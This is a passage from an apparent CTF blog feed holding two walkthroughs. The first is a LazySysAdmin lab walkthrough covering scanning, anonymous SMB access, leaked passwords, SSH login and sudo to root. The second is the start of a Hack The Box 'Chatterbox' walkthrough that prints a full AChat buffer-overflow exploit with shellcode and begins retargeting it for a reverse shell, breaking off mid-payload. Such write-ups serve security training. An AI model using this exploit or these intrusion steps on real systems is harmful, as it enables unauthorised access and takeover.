|_ message_signing: disabled (dangerous, but default)<br>
| smb2-security-mode:<br>
| 2.02:<br>
|_ Message signing enabled but not required<br>
| smb2-time:<br>
| date: 2018-06-27 22:19:52<br>
|_ start_date: N/A[/bash]</p>
<p>That&#8217;s a lot of sevices. To sum it up:</p>
<ul>
<li>22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)</li>
<li>80/tcp open http Apache httpd 2.4.7 ((Ubuntu))</li>
<li>139/tcp open netbios-ssn Samba smbd 3.X &#8211; 4.X (workgroup: WORKGROUP)</li>
<li>445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu</li>
<li>3306/tcp open mysql MySQL (unauthorized)</li>
<li>6667/tcp open irc InspIRCd</li>
</ul>
<p>[bash]</p>
<p>gobuster -u 192.168.56.101 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100 -x .html,.pdf,.txt,.cgi,.php</p>
<p>Gobuster v1.4.1 OJ Reeves (@TheColonial)<br>
=====================================================<br>
=====================================================<br>
[+] Mode : dir<br>
[+] Url/Domain : http://192.168.56.101/<br>
[+] Threads : 100<br>
[+] Wordlist : /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt<br>
[+] Status codes : 307,200,204,301,302<br>
[+] Extensions : .html,.pdf,.txt,.cgi,.php<br>
=====================================================<br>
/index.html (Status: 200)<br>
/info.php (Status: 200)<br>
/wordpress (Status: 301)<br>
/test (Status: 301)<br>
/wp (Status: 301)<br>
/apache (Status: 301)<br>
/old (Status: 301)<br>
/javascript (Status: 301)<br>
/robots.txt (Status: 200)<br>
/phpmyadmin (Status: 301)</p>
<p>==================================================</p>
<p>[/bash]</p>
<p>Visiting the /wordpress url delivers the username &#8220;My name is togie&#8221;</p>
<p>Lets run enum4linux to get some info on the box.</p>
<p>[bash]</p>
<p>enum4linux 192.168.56.101<br>
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Jun 27 21:02:37 2018</p>
<p>==========================<br>
| Target Information |<br>
==========================<br>
Target &#8230;&#8230;&#8230;.. 192.168.56.101<br>
RID Range &#8230;&#8230;.. 500-550,1000-1050<br>
Username &#8230;&#8230;&#8230; &#8221;<br>
Password &#8230;&#8230;&#8230; &#8221;<br>
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none</p>
<p>======================================================<br>
| Enumerating Workgroup/Domain on 192.168.56.101 |<br>
======================================================<br>
[+] Got domain/workgroup name: WORKGROUP</p>
<p>==============================================<br>
| Nbtstat Information for 192.168.56.101 |<br>
==============================================<br>
Looking up status of 192.168.56.101<br>
LAZYSYSADMIN &amp;lt;00&amp;gt; &#8211; B &amp;lt;ACTIVE&amp;gt; Workstation Service<br>
LAZYSYSADMIN &amp;lt;03&amp;gt; &#8211; B &amp;lt;ACTIVE&amp;gt; Messenger Service<br>
LAZYSYSADMIN &amp;lt;20&amp;gt; &#8211; B &amp;lt;ACTIVE&amp;gt; File Server Service<br>
..__MSBROWSE__. &amp;lt;01&amp;gt; &#8211; &amp;lt;GROUP&amp;gt; B &amp;lt;ACTIVE&amp;gt; Master Browser<br>
WORKGROUP &amp;lt;00&amp;gt; &#8211; &amp;lt;GROUP&amp;gt; B &amp;lt;ACTIVE&amp;gt; Domain/Workgroup Name<br>
WORKGROUP &amp;lt;1d&amp;gt; &#8211; B &amp;lt;ACTIVE&amp;gt; Master Browser<br>
WORKGROUP &amp;lt;1e&amp;gt; &#8211; &amp;lt;GROUP&amp;gt; B &amp;lt;ACTIVE&amp;gt; Browser Service Elections</p>
<p>MAC Address = 00-00-00-00-00-00</p>
<p>=======================================<br>
| Session Check on 192.168.56.101 |<br>
=======================================<br>
[+] Server 192.168.56.101 allows sessions using username &#8221;, password &#8221;</p>
<p>=============================================<br>
| Getting domain SID for 192.168.56.101 |<br>
=============================================<br>
Domain Name: WORKGROUP<br>
Domain Sid: (NULL SID)<br>
[+] Can&#8217;t determine if host is part of domain or part of a workgroup</p>
<p>========================================<br>
| OS information on 192.168.56.101 |<br>
========================================<br>
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.<br>
[+] Got OS info for 192.168.56.101 from smbclient:<br>
[+] Got OS info for 192.168.56.101 from srvinfo:<br>
LAZYSYSADMIN Wk Sv PrQ Unx NT SNT Web server<br>
platform_id : 500<br>
os version : 6.1<br>
server type : 0x809a03</p>
<p>===============================<br>
| Users on 192.168.56.101 |<br>
===============================<br>
Use of uninitialized value $users in print at ./enum4linux.pl line 874.<br>
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 877.</p>
<p>Use of uninitialized value $users in print at ./enum4linux.pl line 888.<br>
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 890.</p>
<p>===========================================<br>
| Share Enumeration on 192.168.56.101 |<br>
===========================================<br>
WARNING: The &quot;syslog&quot; option is deprecated</p>
<p>Sharename Type Comment<br>
&#8212;&#8212;&#8212; &#8212;- &#8212;&#8212;-<br>
print$ Disk Printer Drivers<br>
share$ Disk Sumshare<br>
IPC$ IPC IPC Service (Web server)<br>
Reconnecting with SMB1 for workgroup listing.</p>
<p>Server Comment<br>
&#8212;&#8212;&#8212; &#8212;&#8212;-</p>
<p>Workgroup Master<br>
&#8212;&#8212;&#8212; &#8212;&#8212;-<br>
WORKGROUP LAZYSYSADMIN</p>
<p>[+] Attempting to map shares on 192.168.56.101<br>
//192.168.56.101/print$ Mapping: DENIED, Listing: N/A<br>
//192.168.56.101/share$ Mapping: OK, Listing: OK<br>
//192.168.56.101/IPC$ [E] Can&#8217;t understand response:<br>
WARNING: The &quot;syslog&quot; option is deprecated<br>
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*</p>
<p>======================================================<br>
| Password Policy Information for 192.168.56.101 |<br>
======================================================</p>
<p>[+] Attaching to 192.168.56.101 using a NULL share</p>
<p>[+] Trying protocol 445/SMB&#8230;</p>
<p>[+] Found domain(s):</p>
<p>[+] LAZYSYSADMIN<br>
[+] Builtin</p>
<p>[+] Password Info for Domain: LAZYSYSADMIN</p>
<p>[+] Minimum password length: 5<br>
[+] Password history length: None<br>
[+] Maximum password age: Not Set<br>
[+] Password Complexity Flags: 000000</p>
<p>[+] Domain Refuse Password Change: 0<br>
[+] Domain Password Store Cleartext: 0<br>
[+] Domain Password Lockout Admins: 0<br>
[+] Domain Password No Clear Change: 0<br>
[+] Domain Password No Anon Change: 0<br>
[+] Domain Password Complex: 0</p>
<p>[+] Minimum password age: None<br>
[+] Reset Account Lockout Counter: 30 minutes<br>
[+] Locked Account Duration: 30 minutes<br>
[+] Account Lockout Threshold: None<br>
[+] Forced Log off Time: Not Set</p>
<p>[+] Retieved partial password policy with rpcclient:</p>
<p>Password Complexity: Disabled<br>
Minimum Password Length: 5</p>
<p>================================<br>
| Groups on 192.168.56.101 |<br>
================================</p>
<p>[+] Getting builtin groups:</p>
<p>[+] Getting builtin group memberships:</p>
<p>[+] Getting local groups:</p>
<p>[+] Getting local group memberships:</p>
<p>[+] Getting domain groups:</p>
<p>[+] Getting domain group memberships:</p>
<p>=========================================================================<br>
| Users on 192.168.56.101 via RID cycling (RIDS: 500-550,1000-1050) |<br>
=========================================================================<br>
[I] Found new SID: S-1-22-1<br>
[I] Found new SID: S-1-5-21-2952042175-1524911573-1237092750<br>
[I] Found new SID: S-1-5-32<br>
[+] Enumerating users using SID S-1-22-1 and logon username &#8221;, password &#8221;<br>
S-1-22-1-1000 Unix User\togie (Local User)<br>
[+] Enumerating users using SID S-1-5-32 and logon username &#8221;, password &#8221;[/bash]</p>
<p>We see here that there is a local user called &#8216;togie&#8217; (as noted on /wordpress) and that there is an SMB share that is accessible without a password. Let&#8217;s see if we can exploit this.</p>
<h1>Exploitation</h1>
<p>We can use smbclient to access this share. When it asks for a password, just press Enter.</p>
<p>[bash]smbclient //192.168.56.101/share$<br>
WARNING: The &quot;syslog&quot; option is deprecated<br>
Enter WORKGROUP\root&#8217;s password:<br>
Try &quot;help&quot; to get a list of possible commands.<br>
smb: \&gt; ls<br>
. D 0 Tue Aug 15 13:05:52 2017<br>
.. D 0 Mon Aug 14 14:34:47 2017<br>
wordpress D 0 Tue Aug 15 13:21:08 2017<br>
Backnode_files D 0 Mon Aug 14 14:08:26 2017<br>
wp D 0 Tue Aug 15 12:51:23 2017<br>
deets.txt N 139 Mon Aug 14 14:20:05 2017<br>
robots.txt N 92 Mon Aug 14 14:36:14 2017<br>
todolist.txt N 79 Mon Aug 14 14:39:56 2017<br>
apache D 0 Mon Aug 14 14:35:19 2017<br>
index.html N 36072 Sun Aug 6 07:02:15 2017<br>
info.php N 20 Tue Aug 15 12:55:19 2017<br>
test D 0 Mon Aug 14 14:35:10 2017<br>
old D 0 Mon Aug 14 14:35:13 2017<br>
[/bash]</p>
<p>Sweet! We have access to the web-root. Lets use the &#8216;get&#8217; command to download deets.txt, todolist.txt and the wp-config.php from the /wordpress site. I normally always get the wp-config.php, since it often contains the MySQL password:</p>
<p>[bash]// ** MySQL settings &#8211; You can get this info from your web host ** //<br>
/** The name of the database for WordPress */<br>
define(&#8216;DB_NAME&#8217;, &#8216;wordpress&#8217;);</p>
<p>/** MySQL database username */<br>
define(&#8216;DB_USER&#8217;, &#8216;Admin&#8217;);</p>
<p>/** MySQL database password */<br>
define(&#8216;DB_PASSWORD&#8217;, &#8216;TogieMYSQL12345^^&#8217;);</p>
<p>/** MySQL hostname */<br>
define(&#8216;DB_HOST&#8217;, &#8216;localhost&#8217;);[/bash]</p>
<p>I tried the password on the /phpmyadmin page, but it seems like a rabbit hole. Lets view the .txt files we pulled earlier. Todolist.txt says:</p>
<p>[bash] Prevent users from being able to view to web root using the local file browser[/bash]</p>
<p>Deets.txt says:</p>
<p>[bash]</p>
<p>CBF Remembering all these passwords.</p>
<p>Remember to remove this file and update your password after we push out the server.</p>
<p>Password 12345[/bash]</p>
<p>Damn, what a lazy admin indeed. So now we have a username (togie) and a password (12345).  Lets see if this allows us to login on the SSH-service:</p>
<p>[bash]</p>
<p>ssh 192.168.56.101 -l togie<br>
##################################################################################################<br>
# Welcome to Web_TR1 #<br>
# All connections are monitored and recorded #<br>
# Disconnect IMMEDIATELY if you are not an authorized user! #<br>
##################################################################################################</p>
<p>togie@192.168.56.101&#8217;s password:<br>
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)</p>
<p>* Documentation: https://help.ubuntu.com/</p>
<p>System information disabled due to load higher than 1.0</p>
<p>133 packages can be updated.<br>
0 updates are security updates.</p>
<p>togie@LazySysAdmin:~$<br>
(ALL : ALL) ALL [/bash]</p>
<h1>Privilege Escalation</h1>
<p>Lets see what sudo allows us to do:</p>
<p>[bash]sudo -l<br>
[sudo] password for togie:<br>
Matching Defaults entries for togie on LazySysAdmin:<br>
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin</p>
<p>User togie may run the following commands on LazySysAdmin:</p>
<p>(ALL : ALL) ALL[bash]</p>
<p>Well. that looks like game, set and match:</p>
<p>[bash]togie@LazySysAdmin:~$ sudo su<br>
root@LazySysAdmin:/home/togie# cd /root/<br>
root@LazySysAdmin:~# ls<br>
proof.txt [/bash]</p>
<p>Really enjoyed this box. Quite easy and really helpful in learning the initial skills for CTF!</p>
<p>&nbsp;</p>
<!--kg-card-end: html-->]]></content:encoded></item><item><title><![CDATA[Chatterbox - Hackthebox.eu]]></title><description><![CDATA[<!--kg-card-begin: html--><p>This box was just retired on Hackthebox.eu. It involves getting to exploit the infamous achat application. Lets see how to get root on this machine!</p>
<h1><b><u>Enumeration</u></b></h1>
<p>As always, we start with an nmap scan:</p>
<p>[bash]</p>
<p>nmap -sV -sC -oA initial-nmap 10.10.10.74</p>
<p>[/bash]</p>
<p>The -sU triggers all</p>]]></description><link>https://www.capturetheflags.com/chatterbox-hackthebox-eu/</link><guid isPermaLink="false">602ed4610bcf7d000101077c</guid><category><![CDATA[capturetheflag]]></category><category><![CDATA[chatterbox]]></category><category><![CDATA[ctf]]></category><category><![CDATA[information security]]></category><category><![CDATA[walkthrough]]></category><category><![CDATA[writeup]]></category><dc:creator><![CDATA[FlagCapturer]]></dc:creator><pubDate>Mon, 18 Jun 2018 11:26:09 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: html--><p>This box was just retired on Hackthebox.eu. It involves getting to exploit the infamous achat application. Lets see how to get root on this machine!</p>
<h1><b><u>Enumeration</u></b></h1>
<p>As always, we start with an nmap scan:</p>
<p>[bash]</p>
<p>nmap -sV -sC -oA initial-nmap 10.10.10.74</p>
<p>[/bash]</p>
<p>The -sU triggers all scripts nmap has against found services , while -sV probes open ports to determine which service/version is running on the box. The -oA makes sure that the output of the scan is stored in all possible formats.</p>
<p>This initial scans resulted in: 0 services. Let cast the net a bit broader and scan all the ports on this machine:</p>
<p>[bash]</p>
<p>nmap -sV -sC -oA fullport-nmap -p- 10.10.10.74</p>
<p>[/bash]</p>
<p>As you can see, I&#8217;ve added the -p- trigger in there to scan all ports. We get some nice results back:</p>
<p>[bash]</p>
<p>Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-08 22:40 CEST<br>
Stats: 0:00:33 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan<br>
SYN Stealth Scan Timing: About 2.33% done; ETC: 23:03 (0:22:19 remaining)<br>
Stats: 0:01:57 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan<br>
SYN Stealth Scan Timing: About 8.69% done; ETC: 23:02 (0:20:19 remaining)<br>
Stats: 0:10:40 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan<br>
Service scan Timing: About 0.00% done<br>
Nmap scan report for 10.10.10.74<br>
Host is up (0.020s latency).<br>
Not shown: 65533 filtered ports<br>
PORT STATE SERVICE VERSION<br>
9255/tcp open http AChat chat system httpd<br>
|_http-server-header: AChat<br>
|_http-title: Site doesn&#8217;t have a title.<br>
9256/tcp open achat AChat chat system</p>
<p>[/bash]</p>
<p>&nbsp;</p>
<h1><span style="text-decoration: underline;"><strong>Exploitation</strong></span></h1>
<p>So we have AChat running on both port 9255 and 9256. Lets do a quick Google on this piece of software. The sourceforge page linked to the project shows that the last commit was made in 2013, which brings the latest version to 0.150. We can safely assume that Chatterbox is running that version of AChat. Lets see what exploitdb has on this.</p>
<p>[bash]</p>
<p>searchsploit achat<br>
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br>
Exploit Title | Path<br>
| (/usr/share/exploitdb/)<br>
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br>
Achat 0.150 beta7 &#8211; Remote Buffer Overflow | exploits/windows/remote/36025.py<br>
Achat 0.150 beta7 &#8211; Remote Buffer Overflow (Metasploit) | exploits/windows/remote/36056.rb<br>
MataChat &#8211; &#8216;input.php&#8217; Multiple Cross-Site Scripting Vulnerabilities | exploits/php/webapps/32958.txt<br>
Parachat 5.5 &#8211; Directory Traversal | exploits/php/webapps/24647.txt<br>
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br>
Shellcodes: No Result</p>
<p>[/bash]</p>
<p>We have multiple hits. Cool. Lets start by looking at the <a href="https://www.exploit-db.com/exploits/36025/">non Metasploit exploit (36025.py</a>):</p>
<p>[bash]<br>
!/usr/bin/python<br>
# Author KAhara MAnhara<br>
# Achat 0.150 beta7 &#8211; Buffer Overflow<br>
# Tested on Windows 7 32bit</p>
<p>import socket<br>
import sys, time</p>
<p># msfvenom -a x86 &#8211;platform Windows -p windows/exec CMD=calc.exe -e x86/unicode_mixed -b &#8216;\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff&#8217; BufferRegister=EAX -f python<br>
#Payload size: 512 bytes</p>
<p>buf =  &quot;&quot;<br>
buf += &quot;\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49&quot;<br>
buf += &quot;\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41&quot;<br>
buf += &quot;\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51\x41\x44\x41&quot;<br>
buf += &quot;\x5a\x41\x42\x41\x52\x41\x4c\x41\x59\x41\x49\x41\x51&quot;<br>
buf += &quot;\x41\x49\x41\x51\x41\x49\x41\x68\x41\x41\x41\x5a\x31&quot;<br>
buf += &quot;\x41\x49\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41&quot;<br>
buf += &quot;\x42\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51\x49\x41&quot;<br>
buf += &quot;\x49\x51\x49\x31\x31\x31\x41\x49\x41\x4a\x51\x59\x41&quot;<br>
buf += &quot;\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x6b\x4d\x41&quot;<br>
buf += &quot;\x47\x42\x39\x75\x34\x4a\x42\x69\x6c\x77\x78\x62\x62&quot;<br>
buf += &quot;\x69\x70\x59\x70\x4b\x50\x73\x30\x43\x59\x5a\x45\x50&quot;<br>
buf += &quot;\x31\x67\x50\x4f\x74\x34\x4b\x50\x50\x4e\x50\x34\x4b&quot;<br>
buf += &quot;\x30\x52\x7a\x6c\x74\x4b\x70\x52\x4e\x34\x64\x4b\x63&quot;<br>
buf += &quot;\x42\x4f\x38\x4a\x6f\x38\x37\x6d\x7a\x4d\x56\x4d\x61&quot;<br>
buf += &quot;\x49\x6f\x74\x6c\x4f\x4c\x6f\x71\x33\x4c\x69\x72\x4e&quot;<br>
buf += &quot;\x4c\x4f\x30\x66\x61\x58\x4f\x5a\x6d\x59\x71\x67\x57&quot;<br>
buf += &quot;\x68\x62\x48\x72\x52\x32\x50\x57\x54\x4b\x72\x32\x4e&quot;<br>
buf += &quot;\x30\x64\x4b\x6e\x6a\x4d\x6c\x72\x6b\x70\x4c\x4a\x71&quot;<br>
buf += &quot;\x43\x48\x39\x53\x71\x38\x6a\x61\x36\x71\x4f\x61\x62&quot;<br>
buf += &quot;\x6b\x42\x39\x4f\x30\x4a\x61\x38\x53\x62\x6b\x30\x49&quot;<br>
buf += &quot;\x6b\x68\x58\x63\x4e\x5a\x6e\x69\x44\x4b\x6f\x44\x72&quot;<br>
buf += &quot;\x6b\x4b\x51\x36\x76\x70\x31\x69\x6f\x46\x4c\x57\x51&quot;<br>
buf += &quot;\x48\x4f\x4c\x4d\x6a\x61\x55\x77\x4f\x48\x57\x70\x54&quot;<br>
buf += &quot;\x35\x49\x66\x49\x73\x51\x6d\x7a\x58\x6d\x6b\x53\x4d&quot;<br>
buf += &quot;\x4e\x44\x34\x35\x38\x64\x62\x38\x62\x6b\x52\x38\x6b&quot;<br>
buf += &quot;\x74\x69\x71\x4a\x33\x33\x36\x54\x4b\x7a\x6c\x6e\x6b&quot;<br>
buf += &quot;\x72\x6b\x51\x48\x6d\x4c\x6b\x51\x67\x63\x52\x6b\x49&quot;<br>
buf += &quot;\x74\x72\x6b\x4d\x31\x7a\x30\x44\x49\x51\x34\x6e\x44&quot;<br>
buf += &quot;\x4b\x74\x61\x4b\x51\x4b\x4f\x71\x51\x49\x71\x4a\x52&quot;<br>
buf += &quot;\x31\x49\x6f\x69\x50\x31\x4f\x51\x4f\x6e\x7a\x34\x4b&quot;<br>
buf += &quot;\x6a\x72\x38\x6b\x44\x4d\x71\x4d\x50\x6a\x59\x71\x64&quot;<br>
buf += &quot;\x4d\x35\x35\x65\x62\x4b\x50\x49\x70\x4b\x50\x52\x30&quot;<br>
buf += &quot;\x32\x48\x6c\x71\x64\x4b\x72\x4f\x51\x77\x59\x6f\x79&quot;<br>
buf += &quot;\x45\x45\x6b\x48\x70\x75\x65\x35\x52\x30\x56\x72\x48&quot;<br>
buf += &quot;\x33\x76\x35\x45\x37\x4d\x63\x6d\x49\x6f\x37\x65\x6d&quot;<br>
buf += &quot;\x6c\x6a\x66\x31\x6c\x79\x7a\x51\x70\x4b\x4b\x67\x70&quot;<br>
buf += &quot;\x53\x45\x6d\x35\x55\x6b\x31\x37\x4e\x33\x32\x52\x30&quot;<br>
buf += &quot;\x6f\x42\x4a\x6d\x30\x50\x53\x79\x6f\x37\x65\x70\x63&quot;<br>
buf += &quot;\x53\x31\x72\x4c\x30\x63\x4c\x6e\x70\x65\x32\x58\x50&quot;<br>
buf += &quot;\x65\x6d\x30\x41\x41&quot;</p>
<p># Create a UDP socket<br>
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)<br>
server_address = (&#8216;192.168.91.130&#8217;, 9256)</p>
<p>fs = &quot;\x55\x2A\x55\x6E\x58\x6E\x05\x14\x11\x6E\x2D\x13\x11\x6E\x50\x6E\x58\x43\x59\x39&quot;<br>
p  = &quot;A0000000002#Main&quot; + &quot;\x00&quot; + &quot;Z&quot;*114688 + &quot;\x00&quot; + &quot;A&quot;*10 + &quot;\x00&quot;<br>
p += &quot;A0000000002#Main&quot; + &quot;\x00&quot; + &quot;A&quot;*57288 + &quot;AAAAASI&quot;*50 + &quot;A&quot;*(3750-46)<br>
p += &quot;\x62&quot; + &quot;A&quot;*45<br>
p += &quot;\x61\x40&quot;<br>
p += &quot;\x2A\x46&quot;<br>
p += &quot;\x43\x55\x6E\x58\x6E\x2A\x2A\x05\x14\x11\x43\x2d\x13\x11\x43\x50\x43\x5D&quot; + &quot;C&quot;*9 + &quot;\x60\x43&quot;<br>
p += &quot;\x61\x43&quot; + &quot;\x2A\x46&quot;<br>
p += &quot;\x2A&quot; + fs + &quot;C&quot; * (157-len(fs)- 31-3)<br>
p += buf + &quot;A&quot; * (1152 &#8211; len(buf))<br>
p += &quot;\x00&quot; + &quot;A&quot;*10 + &quot;\x00&quot;</p>
<p>print &quot;&#8212;-&amp;amp;amp;gt;{P00F}!&quot;<br>
i=0<br>
while i&amp;amp;amp;lt;len(p):<br>
    if i &amp;amp;amp;gt; 172000:<br>
        time.sleep(1.0)<br>
    sent = sock.sendto(p[i:(i+8192)], server_address)<br>
    i += sent<br>
sock.close()<br>
[/bash]</p>
<p>This POC appears to be aimed a triggering a <a href="https://en.wikipedia.org/wiki/Buffer_overflow">buffer overflow</a>. Before we can test it, we have to edit a couple of this:</p>
<ol>
<li>The Hexcode is aimed at triggering the calculator (Calc.exe) instead of spawning a reverse shell. This is quite common for POC&#8217;s, but something to be taken into account. We can use msfvenom to create our own code.</li>
<li>The current server address is pointing at 192.168.91.130. You need to change this to the IP of the machine your are performing the attack from.</li>
</ol>
<p>Lets start by generating some hexcode that we can use to setup a reverse shell. The POC already states which msfvenom comand was used to generate the payload:</p>
<p>[bash]<br>
msfvenom -a x86 &#8211;platform Windows -p windows/exec CMD=calc.exe -e x86/unicode_mixed -b &#8216;\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff&#8217; BufferRegister=EAX -f python&amp;amp;lt;/pre&amp;amp;gt;<br>
[/bash]</p>
<p>Lets change this to something we can make work for ourselves:</p>
<p>[bash]&amp;amp;lt;/pre&amp;amp;gt;<br>
#!/usr/bin/python<br>
# Author KAhara MAnhara<br>
# Achat 0.150 beta7 &#8211; Buffer Overflow<br>
# Tested on Windows 7 32bit</p>
<p>import socket<br>
import sys, time</p>
<p># msfvenom -a x86 &#8211;platform Windows -p windows/exec CMD=calc.exe -e x86/unicode_mixed -b &#8216;\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9$<br>
#Payload size: 512 bytes<br>
buf = &quot;&quot;<br>
buf += &quot;\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49&quot;<br>
buf += &quot;\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41&quot;<br>
buf += &quot;\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51\x41\x44\x41&quot;<br>
buf += &quot;\x5a\x41\x42\x41\x52\x41\x4c\x41\x59\x41\x49\x41\x51&quot;<br>
buf += &quot;\x41\x49\x41\x51\x41\x49\x41\x68\x41\x41\x41\x5a\x31&quot;<br>
buf += &quot;\x41\x49\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41&quot;<br>
buf += &quot;\x42\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51\x49\x41&quot;<br>
buf += &quot;\x49\x51\x49\x31\x31\x31\x41\x49\x41\x4a\x51\x59\x41&quot;<br>
buf += &quot;\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x6b\x4d\x41&quot;<br>
buf += &quot;\x47\x42\x39\x75\x34\x4a\x42\x59\x6c\x6b\x38\x55\x32&quot;<br>
buf += &quot;\x69\x70\x4b\x50\x4b\x50\x71\x50\x75\x39\x47\x75\x4c&quot;<br>
buf += &quot;\x71\x45\x70\x52\x44\x72\x6b\x72\x30\x50\x30\x44\x4b&quot;<br>
buf += &quot;\x4e\x72\x7a\x6c\x42\x6b\x72\x32\x5a\x74\x72\x6b\x54&quot;<br>
buf += &quot;\x32\x4b\x78\x7a\x6f\x46\x57\x30\x4a\x6c\x66\x6e\x51&quot;<br>
buf += &quot;\x6b\x4f\x46\x4c\x6d\x6c\x31\x51\x71\x6c\x6b\x52\x6e&quot;<br>
buf += &quot;\x4c\x6b\x70\x55\x71\x68\x4f\x4c\x4d\x49\x71\x36\x67&quot;<br>
buf += &quot;\x6b\x32\x7a\x52\x30\x52\x72\x37\x34\x4b\x4f\x62\x4c&quot;<br>
buf += &quot;\x50\x52\x6b\x6f\x5a\x6d\x6c\x32\x6b\x6e\x6c\x6a\x71&quot;<br>
buf += &quot;\x73\x48\x48\x63\x4d\x78\x4a\x61\x57\x61\x6f\x61\x34&quot;<br>
buf += &quot;\x4b\x30\x59\x4b\x70\x5a\x61\x76\x73\x42\x6b\x6e\x69&quot;<br>
buf += &quot;\x4d\x48\x6b\x33\x6f\x4a\x70\x49\x72\x6b\x6d\x64\x74&quot;<br>
buf += &quot;\x4b\x6a\x61\x36\x76\x4e\x51\x49\x6f\x36\x4c\x46\x61&quot;<br>
buf += &quot;\x38\x4f\x4c\x4d\x49\x71\x39\x37\x6d\x68\x39\x50\x73&quot;<br>
buf += &quot;\x45\x4b\x46\x49\x73\x71\x6d\x6b\x48\x4d\x6b\x71\x6d&quot;<br>
buf += &quot;\x4b\x74\x61\x65\x57\x74\x62\x38\x72\x6b\x61\x48\x4d&quot;<br>
buf += &quot;\x54\x6b\x51\x79\x43\x61\x56\x62\x6b\x4a\x6c\x70\x4b&quot;<br>
buf += &quot;\x74\x4b\x70\x58\x6d\x4c\x6d\x31\x78\x53\x44\x4b\x7a&quot;<br>
buf += &quot;\x64\x72\x6b\x4b\x51\x48\x50\x71\x79\x71\x34\x6f\x34&quot;<br>
buf += &quot;\x6f\x34\x71\x4b\x71\x4b\x63\x31\x6e\x79\x6f\x6a\x70&quot;<br>
buf += &quot;\x51\x39\x6f\x69\x50\x4f\x6f\x61\x4f\x71\x4a\x64\x4b&quot;<br>
buf += &quot;\x6b\x62\x7a\x4b\x52\x6d\x6f\x6d\x53\x38\x4d\x63\x4d&quot;<br>
buf += &quot;\x62\x6d\x30\x6d\x30\x43\x38\x54\x37\x51\x63\x4e\x52&quot;<br>
